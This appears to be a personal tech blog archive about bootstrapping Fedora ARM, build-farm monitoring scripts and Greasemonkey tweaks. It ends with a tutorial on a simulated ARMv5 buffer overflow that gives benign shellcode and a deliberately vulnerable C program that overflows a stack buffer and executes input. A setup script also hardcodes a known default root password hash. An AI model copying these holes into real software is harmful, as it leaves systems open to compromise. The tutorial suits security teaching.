A lesson in how / why companies hire & fire

Was doing some late-night Slashdot reading and came across an article submission which had a blog post about a facebook employee who had been fired. Although it seems like personal rant, there are some interesting points which give insight on how companies think about employees.

http://okdork.com/2012/09/29/why-i-got-fired-from-facebook-a-100-million-dollar-lesson/

Quoting:

“When you hire people there are three types of employees:

1- Grower. Someone who starts when the company is small and improves / adapts their skills as the company scales.

2- Show-er. Someone who can be good for the company where they are now but NOT where they are going.

3- Veteran. They’ve done it before and it’s second nature for them to teach you how to do it in your company.”

“Firing:

1- It stings the person WAY more than the company. I thought every day that the company missed me but I’ve learned they just keep going on with business. AND (UN)FORTUNATELY most businesses get better. So be stern when letting someone go but be reasonable and thoughtful to how it must feel. I encourage everyone to get fired once so they know that feeling. It’s unbelievable and something to definitely learn from.

2- EVERYONE is replaceable. You are NOT special and there is guaranteed someone better than you on this planet. So be the opposite, find the way to be invaluable where you work. This doesn’t mean locking things into you but opening things up so you are trusted and subsequently valued more.

3- Most people when they get let go, they know it’s time. They may not want to accept what their subconscious tells them but they know it’s right and it opens them up to something better. Instead of throwing them away, help guide / work with them to see what is their true calling and better suited for them.”

edit

I also came across another article which highlighted a video about motivation which I had posted before on this blog. It tries to explain why we do what we do in this open source world: http://www.youtube.com/watch?v=u6XAPnuFjJc ( http://www.ted.com/talks/dan_pink_on_motivation.html )

A lesson in how / why companies hire & fire

Bootstrapping Fedora ARM For A New Arch (v6hl)

Note: These steps assume you have a gcc compiler capable of producing the correct assembly instructions for the intended new arch

Step 1: Add the necessary architecture definitions

/usr/lib/rpm/platform/armv6hl-linux/macros

...
%optflags               -O2 -g -march=armv6 -mfloat-abi=hard -mfpu=vfp
%__isa_name             armv6hl
...

/usr/lib/rpm/{,redhat}/{rpmrc,macros}

...
optflags: armv6hl -O2 -g -march=armv6 -mfloat-abi=hard -mfpu=vfp
arch_canon:     armv6hl: armv6hl        12
buildarchtranslate: armv6hl: armv6hl
arch_compat: armv6hl: armv7hnl
buildarch_compat: armv6hl: armv7hnl
...
%arm    armv3l armv4b armv4l armv4tl armv5tel armv5tejl armv6l armv6hl armv7l armv7hl armv7hnl
...
optflags: armv6hl %{__global_cflags} -march=armv6 -mfloat-abi=hard -mfpu=vfp
buildarchtranslate: armv6hl: armv7hnl
...

/usr/lib/python2.7/site-packages/rpmUtils/arch.py

...
"armv6hl": "armv7hnl",
...

Step 2: Compile the latest version of gcc for your related arch using rpmbuild (--target armv6hl)

Step 3: Modify mock to hijack && inject these new files into all future build roots

/usr/sbin/mock

...
def do_rebuild(config_opts, chroot, srpms):
...
    chroot.init()

    ldst = (chroot.basedir+"/root"+"/usr/lib/rpm/platform")
    import shutil
    shutil.copytree("/usr/lib/rpm/platform/armv6hl-linux",ldst+"/armv6hl-linux")
    os.system("for f in /usr/lib/rpm/{,redhat}/{rpmrc,macros} ; do cp -fv \"$f\" \""+chroot.basedir+"/root/$f\" ; done")
    lcmd = ("/bin/rpm --force --ignorearch --nodeps --root "+chroot.basedir+"/root/ -i /repo/gcc-4.7.0-5.fc17/*.rpm")
    os.system(lcmd)

    chroot.build(srpm, timeout=config_opts['rpmbuild_timeout'])
...

Step 4: Build glibc and all other needed packages using mock (use a helper shell script loop && make sure to patch rpm/yum/redhat-rpm-config later)

/etc/mock/f17v6.cfg

...
config_opts['target_arch'] = 'armv6hl'
...

Step 4.5.0: rpm C code (unified diff patch)

rpm-x.x/lib/rpmrc.c

...
+#      if defined(__linux__) && defined(__arm__)
+       {
+           if (strcmp(un.machine, "armv7l") == 0 ) {
+               if (has_neon() && has_hfp())
+                    strcpy(un.machine, "armv7hnl");
+                else if (has_hfp())
+                    strcpy(un.machine, "armv7hl");
+           }
+           if (strcmp(un.machine, "armv6l") == 0 ) {
+               if (has_neon() && has_hfp())
+                    strcpy(un.machine, "armv6hnl");
+                else if (has_hfp())
+                    strcpy(un.machine, "armv6hl");
+               strcpy(un.machine, "armv6hl");
+           }
+       }
+#      endif   /* arm*-linux */
+
...

Step 4.5.1: yum Python script (mod)

yum-x.x/{yum/misc.py,rpmUtils/arch.py}

...
os.uname().replace("armv6l","armv6hl").replace("armv7l","armv6hl").replace("armv7hl","armv6hl")
...

Step 5: Install a core set of packages needed for a minimal boot (use a capable host/arch)

compose.sh

#!/bin/bash

if [ "$repo" == "" -o "$root" == "" ] ; then exit 1 ; fi

setenforce 0

for pkgn in 'acl' 'attr' 'audit' 'authconfig' 'basesystem' 'bash' 'binutil' 'bzip' 'ca-certificate' 'chkconfig' 'cpio' 'coreutil' 'cracklib' 'cryptsetup' 'curl' '.*curses' 'cyrus-sasl' 'db4' 'dbus' 'dbus-glib' 'diffutil' 'dracut' 'e2fsprog' 'elfutil' 'expat' 'fedora-release' '/file' 'findutil' 'fipscheck' 'gamin' 'gawk' 'gcc' 'gdbm' 'generic-release' 'glib' 'gmp' 'gnupg2' 'gpgme' 'grep' 'gzip' 'hardlink' 'hostname' 'hwdata' 'initscript' 'iproute' 'iptable' 'iputil' '.*kernel' 'keyutil' 'kmod' 'krb5' 'libassuan' 'libcap.*' 'libdb' 'libedit' 'libffi' 'libgcrypt' 'libgpg-error' 'libidn' 'libpwquality' 'libse' 'libssh2' 'libus' 'libut' 'libxml2' 'linux-atm' 'logrotate' 'lua' 'lvm2' 'mingetty' 'net-tool' 'newt' 'nspr' '/nss.*' '/openss' 'openldap' 'pam' 'passwd' 'pcre' 'pinentry' 'pkgconfig' 'popt' 'procps' 'psmisc' 'pth' 'pygpgme' 'python' 'python-chardet' 'python-iniparse' 'python-kitchen' 'python-pycurl' 'python-urlgrabber' 'readline' '/rpm' 'sed' '/setup' 'shadow-util' 'shared-mime-info' 'slang' 'sqlite' 'syslog' 'systemd' 'sysvinit' 'tcp_wrapper' 'texinfo' 'tzdata' 'udev' 'ustr' 'util-linux' 'xz' 'yum' 'yum-metadata-parser' 'yum-util' 'zlib' ; do fill=`find $repo -type f | grep -i "/[^/-]*$pkgn[^/-]*-[^/-]*-[^/-]*/[^/]*.rpm$" | grep -Eiv '(-debuginfo-|.src.rpm)'` ; if [ "$fill" == "" ] ; then echo "FOF $pkgn" 1>&2 ; continue ; fi ; echo "$fill" ; done | sort | uniq | grep -Eiv '/(audispd-plugins|audit-libs-devel|audit-libs-static|cmirror|cpp|cryptsetup-devel|cryptsetup-python|cyrus-sasl-sql|dbus-glib-devel|dracut-fips|emacs-libidn|gcc|glib2-devel|glib2-static|glibc-devel|glibc-headers|glibc-static|glibc-utils|gnupg2-smime|krb5-server|libcap-ng-devel|libgcrypt-devel|libgcj|libgfortran|libgudev1-devel|libitm|libmudflap|libselinux-python|libsemanage-python|libuser-devel|linux-atm-libs-devel|lvm2-cluster|newt-devel|newt-static|openldap-devel|openldap-servers|openldap-servers-sql|openssh-askpass|openssh-ldap|openssl-devel|openssl-perl|openssl-static|pam_|passwdqc|policycoreutils-python|policycoreutils-sandbox|python[0-9]*-debug|python[0-9]*-devel|python[0-9]*-test|python[0-9]*-tkinter|python[0-9]*-tools|rpm-build-[0-9]|rpm-cron|rpm-devel|rpm-sign|rpmdevtools|rpmlint|rsyslog-gnutls|rsyslog-libdbi|rsyslog-mysql|rsyslog-pgsql|rsyslog-relp|rsyslog-snmp|rsyslog-udpspoof|setuptool|slang-slsh|sqlite-tcl|systemd-analyze|texinfo-tex|tkinter|yum-cron|yum-plugin-changelog|yum-plugin-local|yum-plugin-puppetverify|yum-plugin-refresh-updatesd|yum-plugin-tmprepo)[^/-]*-[^/]*$' > pkglist.txt

#for p in $(rpm --force --ignorearch --root $root/ -i $(cat pkglist.txt | grep -Eiv '(gtk|gui|qt|x11)') 2>&1 | awk '{ print $1","$NF }' | sort | uniq) ; do a=$(echo "$p" | cut -d ',' -f 1) ; b=$(echo "$p" | cut -d ',' -f 2) ; q=$(repoquery --whatprovides "$a" | head -n 1) ; r=$(repoquery -qi "$q" | grep -i '^source') ; echo "[$b] -> [$a] -> [$q] -> [$r]" ; done
rpm --force --ignorearch --nodeps --root $root/ -i $(cat pkglist.txt | grep -Eiv '(gtk|gui|qt|x11)') x2

rm -frv $root/usr/share/*doc*

cat << EOF > $root/etc/fstab
LABEL="rootfs"          /                       ext4    defaults,noatime                 1 1
LABEL="boot"            /boot                   vfat    noauto,comment=systemd.automount 1 2
EOF

cat << EOF > $root/etc/sysconfig/network
HOSTNAME=raspiv6hl.local
EOF

cat << EOF > $root/etc/resolv.conf
nameserver 4.2.2.1
EOF

echo 'utmp:x:22:' >> $root/etc/group
echo 'PS1="[\u@\h: \w]# "' > $root/root/.bashrc
chmod 755 $root/root/.bashrc
ln -s .bashrc $root/root/.profile

#raspberrypi
sed -i 's|root:.*:|root:$6$KW0GGbE5$zlEB9.PbHVh8kmXj1WMFGLJGwwthhU4oXn2oNxHZllbUSzTsVhTZ9jts8RC7uicuUCWyrsZ1e2yEj4ErDLOHQ/:15525:0:99999:7:::|' $root/etc/shadow

rm -fv $root/etc/systemd/system/default.target && ln -s /usr/lib/systemd/system/multi-user.target $root/etc/systemd/system/default.target

Step 6: Boot the new Fedora ARM Linux system

Bootstrapping Fedora ARM For A New Arch (v6hl)

The Start Of A New Term With Some Great People

I haven’t blogged in a while because it has taken literally weeks upon weeks of trying to bootstrap ARMv6HL for Fedora, pretty much by myself (plus hints from my boss Chris Tyler). I am not a programmer! But anyway, I think it’s coming along to some degree at least (remind me to always respect the complexity of gcc && glibc). In addition to this, I am planning on working with Seneca college for another year and also, this is officially the first time I’ve hit the gym!!! My friend and co-worker Andrew Greene, who has been working hard on various tasks, decided to show me around the machines today which was pretty cool and I already feel a bit better for myself after having gone (hopefully I’ll keep it up). I also have thank my co-workers Jordan and Paul for encouraging me to go in the first place, along with the other life advice they’ve given me. In addition, we got a new team member named Dmitry who’s been pretty much looking after our build farm and making sure all the machines remain up for all the remote users who depend on its availability.

And on a last note, my friend Leopold Antonio Martinez (who’s been like my best friend for life) and I are planning on looking for places to live. He’s helped me out constantly in the past and been there for me all the time. This next step should help me separate from my Italian parents and gain some independence! Thanks Lee 🙂

Anyway, enough of my ranting, here’s hoping for another productive year!

Johnny S.

The Start Of A New Term With Some Great People

Monitoring Our Build Farm — Visually

So now that I’m working full time hours, I’d like to monitor the ARM computers in our build farm more closely and in a nicer manner. These series of scripts (d3 js and Twitter Bootstrap) are based on a whole bunch of other scripts like: Koji Client Command, Icinga, and my own check_koji.pl nagios plugin. The result looks like the following:

farm.py - A python script that gets the needed info being displayed

#!/usr/bin/python

import getpass
import os
import re
import sys
import time
import subprocess
import urllib2, base64

sys.stdout.write("Username: ")
sys.stdout.flush()
user = sys.stdin.readline().strip()

spwd = getpass.unix_getpass()

while (1):
	indx = 0
	buil = {}
	node = ""
	link = ""
	
	node += ("{\"name\":\"Hosts\",\"size\":0,\"group\":0,\"info\":\"root\"}")
	link += ("{\"source\":0,\"target\":0}")
	indx += 1
	
	bsfs = base64.encodestring("%s:%s" % (user, spwd)).replace("\n", "")
	
	try:
		requ = urllib2.Request(sys.argv[1] + "/cgi-bin/status.cgi?host=all")
		requ.add_header("Authorization", "Basic %s" % bsfs)
		resu = urllib2.urlopen(requ)
		webp = resu.read().replace("\0","").replace("\t","").replace("\r","").replace("\n","")
	except:
		print("urllib...")
		time.sleep(60)
		continue
	
	webp = re.sub("<TABLE BORDER=0 CELLSPACING=0 CELLPADDING=0>", "\n<beg line='true'>", webp)
	
	for line in webp.split("\n"):
		if (re.match("^.*>Koji Stat<.*$", line, re.I)):
			host = re.sub("^.*host=([^&]+).*$", "\\1", line).strip()
			
			line = re.sub("^.+(OK|WARNING|UNKNOWN|CRITICAL).+[0-9]+[0-9]+-[0-9]+[0-9]+-[0-9]+[0-9]+[0-9]+[0-9]+[ ]+[0-9]+[0-9]+:[0-9]+[0-9]+:[0-9]+[0-9]+(.+)$", "<td>\\1</td>\\2", line).strip()
			line = line.replace("<TD", "\t<TD")
			part = line.split("\t")
			
			for x in range(0, len(part)):
				part[x] = re.sub("<[^>]*>", " ", part[x]).strip()
			
			stat = part[0]
			info = part[3]
			
			colr = 3
			
			if (stat == "CRITICAL"):
				colr = 3
			if (stat == "WARNING"):
				colr = 2
			if (stat == "OK"):
				colr = 1
				info = "OK"
			
			buil[host] = indx
			
			node += (",\n{\"name\":\"%s [%s]\",\"size\":1,\"group\":%d,\"info\":\"%s\"}" % (host, stat, colr, info))
			link += (",\n{\"source\":%d,\"target\":%d}" % (0, indx))
			indx += 1
	
	pipe = subprocess.Popen(["/usr/bin/koji", "-s", sys.argv[2], "list-tasks"], stdout=subprocess.PIPE)
	
	for line in pipe.stdout.readlines():
		line = line.replace("\t", " ").strip()
		line = re.sub(" [ ]+", " ", line)
		
		regx = re.match("^([^ ]+) .* (CANCELED|FAILED|OPEN|CLOSED) .* build[ ]+([^ ]+)[ ]+([^ ]+)$", line, re.I)
		
		if (regx):
			task = regx.group(4)
			host = regx.group(3).replace("[","").replace("]","")
			stat = regx.group(2)
			info = regx.group(1)
			colr = 4
			
			if (stat == "CANCELED"):
				colr = 3
			if (stat == "FAILED"):
				colr = 3
			if (stat == "OPEN"):
				colr = 5
			if (stat == "CLOSED"):
				colr = 1
			
			if (not host in buil.keys()):
				buil[host] = indx
				
				node += (",\n{\"name\":\"%s [%s]\",\"size\":1,\"group\":%d,\"info\":\"%s\"}" % (host, "REMOTE", 6, "N/A"))
				link += (",\n{\"source\":%d,\"target\":%d}" % (0, indx))
				indx += 1
			
			node += (",\n{\"name\":\"%s [%s]\",\"size\":1,\"group\":%d,\"info\":\"%s\"}" % (task, stat, colr, info))
			link += (",\n{\"source\":%d,\"target\":%d}" % (buil[host], indx))
			indx += 1
	
	fobj = open("force.json", "w")
	fobj.write("{\n\"nodes\":[\n%s\n],\n\"links\":[\n%s\n]\n}\n" % (node, link))
	fobj.close()
	
	print("sleeping...")
	time.sleep(45)

force.js - Some JavaScript that initializes the force directed graph

//var width = 640, height = 560, distance = 64;
var width = 1024, height = 900, distance = 128;
var sizes = [10, 10];
// blue, green, yellow, red, purple, orange, blue
var colors = ["rgba(30, 120, 180, 1)", "rgba(0, 155, 0, 1)", "rgba(250, 195, 0, 1)", "rgba(206, 22, 32, 1)", "rgba(100, 0, 155, 1)", "rgba(255, 160, 0, 1)", "rgba(30, 120, 180, 1)"];
var nodes = "", force = null, svg = null, mous = {x:0,y:0};

function over()
{
	try { var l = force.nodes(); }
	catch(err) { var l = []; }
	
	for (var i in l)
	{
		var r = sizes[l[i].size];
		var a = (l[i].x - r);
		var b = (l[i].x + r);
		var c = (l[i].y - r);
		var d = (l[i].y + r);
		
		if ((a <= mous.x) && (mous.x <= b) && (c <= mous.y) && (mous.y <= d))
		{
			document.getElementById("info").innerHTML = ("<b>" + l[i].name + "</b> :: " + l[i].info);
		}
	}
	
	setTimeout("over()", 0.15 * 1000);
}

function move(e)
{
	var obj = document.getElementsByTagName("svg");
	
	if (obj.length > 0)
	{
		var pt = obj[0].createSVGPoint();
		var scr = obj[0].getScreenCTM();
		var inv = scr.inverse();
		
		pt.x = e.clientX; pt.y = e.clientY;
		mous = pt.matrixTransform(inv);
	}
}

function tick()
{
	try { force.start(); }
	catch(err) { console.log("tick"); }
	setTimeout("tick();", 3 * 1000);
}

function loop()
{
  d3.json("force.json", function(json) {
    var stri = JSON.stringify(json);

    if (stri == nodes)
    {
      return;
    }
    //console.log(nodes+"!="+stri);

    nodes = stri;
    document.getElementById("chart").innerHTML = "";

    force = d3.layout.force()
      .charge(-512)
      .linkDistance(distance)
      .size([width, height]);

    svg = d3.select("#chart").append("svg")
      .attr("width", width)
      .attr("height", height);

    force
      .nodes(json.nodes)
      .links(json.links)
      .start();

    var l = force.nodes();
    document.getElementById("list").innerHTML = "";

    for (var i in l)
    {
      if (l[i].name.match(/^.*cdot.*(WARNING|CRITICAL|UNKNOWN).*$/i))
      {
        document.getElementById("list").innerHTML += ("<div class='alert alert-error' style='margin: 5px;'><b>" + l[i].name + "</b> :: " + l[i].info + "</div>");
      }
    }

    var link = svg.selectAll("line.link")
      .data(json.links)
      .enter().append("line")
      .attr("class", "link")
      .style("stroke-width", function(d) { return Math.sqrt(4); });

    var node = svg.selectAll("circle.node")
      .data(json.nodes)
      .enter().append("circle")
      .attr("class", "node")
      .attr("r", function(d) { return sizes[d.size]; })
      .style("fill", function(d) { return colors[d.group]; })
      .call(force.drag);

    force.on("tick", function() {
      link.attr("x1", function(d) { return d.source.x; })
        .attr("y1", function(d) { return d.source.y; })
        .attr("x2", function(d) { return d.target.x; })
        .attr("y2", function(d) { return d.target.y; });

      node.attr("cx", function(d) { return d.x; })
        .attr("cy", function(d) { return d.y; });
    });
  });

  setTimeout("loop();", 15 * 1000);
}

loop();
tick();
over();
window.onmousemove = move;

force.html - The main page that puts everything together

<html>
	<head>
		<title>Farm Visual</title>
		<script type="text/javascript" src="d3.v2.js"></script>
		<style>
			circle.node
			{
				stroke: #000;
				stroke-width: 2.0px;
			}
			
			line.link
			{
				stroke: #999;
				stroke-opacity: 0.75;
			}
			
			svg
			{
				border: 1px solid black;
			}
			
			#info, #list
			{
				white-space: nowrap;
			}
		</style>
		<link href="/scripts/bootstrap/css/bootstrap.css" rel="stylesheet">
		<link href="/scripts/bootstrap/css/bootstrap-responsive.css" rel="stylesheet">
		<script src="/scripts/jquery.js"></script>
		<script src="/scripts/bootstrap/js/bootstrap.js"></script>
	</head>
	
	<body>
		<center>
			<table width="100%">
				<tr><td colspan="2"><div id='info' class='alert alert-info' style='margin: 5px;'><b>Build Farm Status</b></div></td></tr>
				<tr><td><div class="gallery" id="chart" style="margin: 5px;"></div></td>
				<td valign="top" width="100%"><div id="list"></div></td></tr>
			</table>
		</center>
		<link href="force.css" rel="stylesheet" type="text/css" />
		<script src="force.js" type="text/javascript"></script>
	</body>
</html>

Monitoring Our Build Farm — Visually

Correcting The Automation Of Live-Media Creation Tools

I helped to create a simple script which could assist in the automation and creation of ARM-based images after standardized tools like kickstart, lorax, and livemedia-creator have been used. The problem is that some ARM devices (like OMAP) require there to be a FAT partition and filesystem listed first which contains proper binaries to assist with the initial booting process. Since x86 machines don’t have this requirement, their creation tools don’t include an option to help set this up. The python script listed below helps to take an outputted image and just modify it slightly to meet these requirements for us automatically. Here is an example of the output along with its source code.

# fdisk -l F18-panda-20121218.img
...
                 Device Boot      Start         End      Blocks   Id  System
F18-panda-20121218.img1   *        2048      411647      204800    6  FAT16
F18-panda-20121218.img2          411648     1435647      512000   82  Linux swap / Solaris
F18-panda-20121218.img3         1435648     5941247     2252800   83  Linux

# ./livemedia-modifier --image=F18-panda-20121218.img --platform=omap
...
loop deleted : /dev/loop0

Modification completed successfully!

# fdisk -l F18-panda-20121218.img
...
                 Device Boot      Start         End      Blocks   Id  System
F18-panda-20121218.img1   *        2048      411647      204800    c  W95 FAT32 (LBA)
F18-panda-20121218.img2          411648     1435647      512000   82  Linux swap / Solaris
F18-panda-20121218.img3         1435648     5941247     2252800   83  Linux

# 

Source Code (Git Hub)
Binary Program (Fedora People)
Fedora Wiki

Correcting The Automation Of Live-Media Creation Tools

End Of Summer — Improving Online Dating!

So my friends have been encouraging me to try and meet new people on the Internet through some various online dating sites. Creating a profile was a good start but I quickly found myself getting really distracted by all the profile pictures when I should be reading the profile text instead. I decided to create a simple little grease-monkey script to remove all of the pics on the site and therefore force me to read one’s profile instead. Here’s the result:

// ==UserScript==
// @name        okcp
// @namespace   gm-dev
// @include     http://www.okcupid.com/*
// @version     1
// ==/UserScript==

var pics = document.getElementsByTagName("img");

for (var pici in pics)
{
	try
	{
		var wide = pics[pici].width;
		var high = pics[pici].height;
		pics[pici].src = "http://142.204.133.82/tmp/images/qmt.png";
		pics[pici].onmouseover = "";
		pics[pici].width = wide;
		pics[pici].height = high;
	}
	catch(e)
	{
		console.log("pic error?");
	}
}

var side = document.getElementById("left_bar");

if (side)
{
	side.style.width = "200px";
}
End Of Summer — Improving Online Dating!

Icinga Koji Monitoring Page + Greasemonkey Script

Following up on my work with the Koji Icinga/Nagios based monitoring system for our Fedora ARM machines: A screenshot of how it looks along with a GM script that helped to make it look like that. The Perl script I made in an earlier post checks for some of the following errors that could cause a Koji builder to fail. And on an semi-related note, if you’d like to follow our build progress, I’m currently testing a Twitter script posting here: http://twitter.com/fedoraarmstats

 

  • Any non-rw mount points
  • Permissions and sizes for directories: [/, /var, /tmp, /var/{lib,cache}/mock]
  • Running kojid systemd/systemctl cgroup process numbers, commands
  • Koji config file, cert date, system time checks
  • Koji host, enabled, ready, not-ready+tasks, update-time, task-times

 

// ==UserScript==
// @name        icinga
// @namespace   icinga-dev
// @include     http://hongkong.proximity.on.ca/icinga/cgi-bin/status.cgi?host=all*
// @version     1
// ==/UserScript==

var cnmatch = false, globflag = false;
var tablelist = document.getElementsByTagName("table");
var bodylist = [], rowlist = [], collist = [];
var regxobjc = new RegExp("Koji Stat", "g");

for (var tableitem in tablelist)
{
	try { cnmatch = tablelist[tableitem].className.match(/^.*status.*$/); }
	catch(erro) { cnmatch = false; }
	
	if (cnmatch)
	{
		bodylist = tablelist[tableitem].childNodes;
		
		for (var bodyitem in bodylist)
		{
			try { cnmatch = (bodylist[bodyitem].nodeName.toLowerCase() == "tbody"); }
			catch(erro) { cnmatch = false; }
			
			if (cnmatch)
			{
				var lastclas = "", lastvalu = "";
				
				rowlist = bodylist[bodyitem].childNodes;
				
				for (var rowitem in rowlist)
				{
					var rowflag = true;
					var colnumb = 0, colobjc = null;
					
					try { cnmatch = (rowlist[rowitem].nodeName.toLowerCase() == "tr"); }
					catch(erro) { cnmatch = false; }
					
					if (cnmatch)
					{
						collist = rowlist[rowitem].childNodes;
						
						for (var colitem in collist)
						{
							try { cnmatch = (collist[colitem].nodeName.toLowerCase() == "td"); }
							catch(erro) { cnmatch = false; }
							
							if (cnmatch)
							{
								if (colnumb == 0)
								{
									if (collist[colitem].innerHTML != "")
									{
										lastvalu = collist[colitem].innerHTML;
									}
									
									else
									{
										colobjc = collist[colitem];
									}
								}
								
								if (colnumb == 1)
								{
									if (!collist[colitem].innerHTML.match(regxobjc))
									{
										rowflag = false;
									}
								}
								
								lastclas = collist[colitem].className;
								++colnumb;
							}
						}
						
						if ((colobjc != null) && (colnumb > 3))
						{
							lastvalu = lastvalu.replace(/class=['"]status[^'"]+['"]/g, lastclas);
							colobjc.innerHTML = lastvalu;
							colobjc.className = lastclas;
						}
					}
					
					if ((rowflag == false) || ((0 < colnumb) && (colnumb < 4)))
					{
						try { rowlist[rowitem].style.display = "none"; }
						catch(erro) { cnmatch = false; }
					}
				}
			}
		}
	}
}

Icinga Koji Monitoring Page + Greasemonkey Script

My First Icinga/Nagios/Perl Monitoring Script

Hey all, I made a monitoring module that one could use to more closely monitor Koji builder participating in a build farm. I enjoyed working on this script because it pretty much required me to learn the basics of a new language (Perl) which is a bit different than what I’m used to (Python). It was fun and hopefully it proves to be useful for our team.

for x in {1..12}-{1..5} ; do echo "[$x]" ; /usr/lib64/nagios/plugins/check_nrpe -H $x -c check_koji -t 60 ; done
[1-1]
Mounts [Options OK] - Dirs [Perms OK] - Dirs [Sizes OK] - System [Time OK] - Koji [Config OK] - Koji [Cert OK] - Koji [2 Procs OK] - Koji [Host OK] - Koji [Enabled OK] - Koji [Ready OK] - Koji [0 Tasks OK]
[1-2]
Mounts [Options OK] - Dirs [Perms OK] - Dirs [Sizes OK] - System [Time OK] - Koji [Config OK] - Koji [Cert OK] - Koji [10 Procs OK] - Koji [Host OK] - Koji [Enabled OK] - Koji [Ready OK] - Koji [1 Tasks OK]
[1-3]
Mounts [Options OK] - Dirs [Perms OK] - Dirs [Sizes OK] - System [Time OK] - Koji [Config OK] - Koji [Cert OK] - Koji [19 Procs OK] - Koji [Host OK] - Koji [Enabled OK] - Koji [Ready OK] - Koji [1 Tasks OK]
[1-4]
Mounts [Options OK] - Dirs [Perms OK] - Dirs [Sizes OK] - System [Time OK] - Koji [Config OK] - Koji [Cert OK] - Koji [2 Procs OK] - Koji [Host OK] - Koji [Enabled OK] - Koji [Ready OK] - Koji [0 Tasks OK]
[1-5]
Mounts [Options OK] - Dirs [Perms OK] - Dirs [Sizes OK] - System [Time OK] - Koji [Config OK] - Koji [Cert OK] - Koji [1 Procs OK] - Koji [Host OK] - Koji [Enabled OK] - Koji [Ready OK] - Koji [0 Tasks OK]
...

Source Code (Git Hub)
Source Code (Fedora People)

My First Icinga/Nagios/Perl Monitoring Script

Really Really Random – I graduated yay! (but not with honours blah…)

Basically just a break-type post (like taking a 5 min break to go outside which all computer people should do btw… stretch and relax those eye balls). Anyway, I just want to show appreciation for the various people who have helped me tremendously along the way!

The first is Chris Tyler (my boss) who is a really really smart and nice guy who has a general yet complete knowledge of how all of this stuff works at levels I can’t even understand (also he can write some incredible SQL statements, I think it’s because of his previous work experience with programming and PostgreSQL… ewwwwww!). Also, anyone reading this should definitely buy his book which covers concepts I still suck at like software RAIDs and LVMs in Linux. You can find it here here or here. Really good stuff!

I’d like to thank Jon Masters who is an insanely smart Linux Kernel Engineer. This guy honestly puts people like me to shame regarding how much in-depth knowledge he has about how computers run at the lowest-levels imaginable. Seriously crazy, but also, he mentioned me in a Linux Weekly News article which made me day, heh! If you need more links just Google his name, his stuff is everywhere pretty much.

On a semi-related note, my friend Drew (who’s a DJ) helped me greatly back in the day when a certain someone (she shall remain nameless) broke my heart :). This guy is note only amazing socially but also technically too. At any rate, you should definitely check out his stuff like Twitter SoundCloud FaceBook. Thanks for your help Drew!

Lastly, the only reason I chose to quit working @ Zehrs and start a new life @ Seneca was because of my friend Sam. Sadly, this guy (like me), doesn’t really participate much in the online social world so I can’t really plug anything for him but I thought I’d give him the last mention in this post. Thanks for guiding me in life man, I owe you!

Really Really Random – I graduated yay! (but not with honours blah…)

Possible Raspberry Pi Splash Screen

Using the source code already available and provided to everyone in a package named raspberrypi-vc-demo-source and running yum groupinstall "Development Tools" "Development Libraries", I was able to take a Raspberry Pi GIF animation, split it up into frames (bmp) via http://www.xoyosoft.com/gs/, convert them into to raw file formats (rgb), and place them as an array of textures on a cube face via OpenGL in C located under /usr/share/raspberypi-vc-demo-source/hello-pi.

Running On A F17 Rasp Pi

Automated bmp-to-rgba Converter (Py)

import sys
f=open(sys.argv[1],"r")
g=open(sys.argv[2],"w")
h=f.read(54)
l=0
m=0
while(1):
	d=f.read(3)
	a=chr(255)
	l+=len(d)
	if (not d):
		break
	rgb=(hex(ord(d[0]))+hex(ord(d[1]))+hex(ord(d[2])))
	if (rgb == "0x250x210xd"):
		e=(chr(0)+chr(0)+chr(0))
		a=chr(0)
	e=(d[2]+d[1]+d[0])
	sys.stderr.write(rgb+"\n")
	o=(e+a)
	m+=len(o)
	g.write(o)
g.close()
f.close()
print(l,":",m)

Binary Program (Fedora People)
Source Code (Git Hub)

Possible Raspberry Pi Splash Screen

Seneca Research Papers

During my time at Seneca, I had the chance to explore pretty much any topic related to my program (Informatics and Security). Given that I do enjoy messing around with code, even though I’m not a programmer, I was able to choose topics that captured my true interests related to computers: security, crypto, coding and networking. Here are two of the papers I wrote during my time at Seneca College.

Summer Research Paper: Building a Vulnerable Website to Inspire a Hacker Mindset
Tags: CSS / HTML / JavaScript / PHP / C / Assembly

Final Bachelor Thesis: Implementing Cryptographic Algorithms to Achieve Secure LAN Communication
Tags: C / Curses / DHKE / ARC4 / SHA256 / HMAC / GMP / UDP

Anyway, I just thought I’d publish them just in case anyone is bored and would like to read some of the work I did throughout my 4 years here. Thanks for reading my blog as always!

Jon Chiappetta

Seneca Research Papers

ARMv5 Assembly and a Simulated Buffer Overflow

So I get bored really really easily, especially when I’m at home alone for long periods of time with nothing to do (I should really get an xbox or playstation soon)… Anyway, I just wanted to see how hard it was to convert my extremely basic x86 assembly knowledge to ARM. Here is a basic tutorial on achieving a basic buffer overflow on an ARMv5 platform!

Some initial things to consider before exploiting (I haven’t done all of these steps below but you should!)

  • syntax style (at&t or intel)
  • compatible assembler and linker program
  • no dynamic function calls or shared library dependence (static code only)
  • function or method argument passing (registers or stack)
  • linux syscall numbers (kernel interrupts)
  • statically determined references to potential data areas
  • no null bytes in the final shellcode or machine code

Below is a really basic ARM compatible assembly program. It makes a call out to the write() method and passes the arguments in via the available registers. It makes reference to the data string at the end of the executable by using a static offset from the program counter during the time of execution. It then uses ARM’s version of the software interrupt call to get the kernel’s attention…

$ cat sc.s

.text

.global _start
_start:
	mov %r7, $4
	mov %r0, $1
	mov %r1, %pc
	add %r1, #20
	mov %r2, $12
	swi $0

	mov %r7, $1
	mov %r0, $0
	swi $0

	.string "hello world!"

To compile, link and dump the shellcode, you can run the following commands below (sorry for the huge perl one liner but I was too lazy/tired to hand format the output).

$ as -o sc.o sc.s && ld -o sc sc.o
# print shellcode words in reverse so that when it is stored in the chr array and accessed as an int word item it is read backwards (little endian)
$ objdump -d sc | grep -iv 'file format' | grep -i '[0-9a-f][0-9a-f]*:' | awk '{ print $2 }' | perl -e '$line=" ";while($line){$line=<STDIN>;$line =~ s/[\r\n]+//g;$code="";for($x=(length($line)-2);$x>-1;$x-=2){$code.=("\\x".substr($line,$x,2));}$code.="";printf("$code\n");}'

After getting the shellcode from the above command we can move on to playing with the victim. Here’s an amazingly feature packed program which reads any data it can from standard input and puts it in a pre-sized stack based variable. It then copies the data from the stack variable into a heap based variable and executes whatever is in it for good measure. We really want the attacker to succeed here people!

$ cat ex.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>

void user(char *buff)
{
	char stac[64];
	read(0, stac, 256 * sizeof(char));
	bcopy(stac, buff, 64 * sizeof(char));
}

int main()
{
	char *heap = malloc(64 * sizeof(char));
	int (*ret)();

	user(heap);
	printf("self-exec\n");

	ret = (int(*)())heap;
	(int)(*ret)();

	return 0;
}


